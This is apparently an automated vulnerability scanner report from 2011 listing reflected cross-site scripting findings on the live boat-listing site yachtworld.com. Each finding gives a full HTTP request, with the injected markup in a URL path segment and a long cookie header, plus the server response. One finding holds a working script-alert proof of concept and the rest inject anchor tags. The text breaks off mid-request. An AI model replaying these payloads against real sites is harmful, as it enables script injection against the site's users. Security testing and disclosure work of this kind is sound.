GET /boats/category/type/Rinkerc24df"><a>03e5450caba/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:53 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b7825"><script>alert(1)</script>80927bb1bef was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Rinker/1b7825"><script>alert(1)</script>80927bb1bef HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:02 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21995"><a>b3c7d68a669 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type21995"><a>b3c7d68a669/Sabre/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:34 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9dce7"><a>f1fc5582fc6 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Sabre9dce7"><a>f1fc5582fc6/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:42 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53087"><a>906630f7490 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Sabre/153087"><a>906630f7490 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:55 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60aec"><a>a1f318a50b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type60aec"><a>a1f318a50b/Sea+Ray/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 